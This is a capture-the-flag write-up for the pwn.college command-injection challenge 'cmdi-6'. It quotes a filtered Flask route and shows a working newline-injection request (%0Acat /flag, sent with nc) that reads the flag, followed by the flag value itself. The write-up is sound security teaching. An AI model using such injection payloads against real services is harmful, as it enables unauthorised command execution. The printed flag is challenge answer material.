🧩 Challenge Overview

Category: Web Exploitation
Challenge Name: cmdi-6
Platform: pwn.college
Goal: Bypass basic character filtering to perform command injection and retrieve the flag.


📝 Source Code Analysis

@app.route("/trial", methods=["GET"])
def challenge():
    arg = (
        flask.request.args.get("subdirectory", "/challenge")
        .replace(";", "")
        .replace("&", "")
        .replace("|", "")
        .replace(">", "")
        .replace("<", "")
        .replace("(", "")
        .replace(")", "")
        .replace("`", "")
        .replace("$", "")
    )
    command = f"ls -l {arg}"
    ...

Vulnerability

The input is filtered for several dangerous characters (;, &, , >, <, etc.), but newline characters (\n) are not filtered. Since shell=True is used, this allows us to inject a second command by breaking the shell line using a newline (%0A URL encoded).

Exploit

We can inject a newline to break into a new command:

printf "GET /trial?subdirectory=/%%0Acat+/flag HTTP/1.0\r\nHost:challenge.localhost\r\n\r\n" | nc challenge.localhost 80

Explanation:

  • %0A → URL-encoded newline character.
  • This breaks the original command (ls -l) and starts a new line with cat /flag.

Effectively becomes:

ls -l /
cat /flag

Flag Output

pwn.college{U7_pJ3JqFmNq9hIUJzUTkU3L_A9.QX0cTN2wSM0IzMyEzW}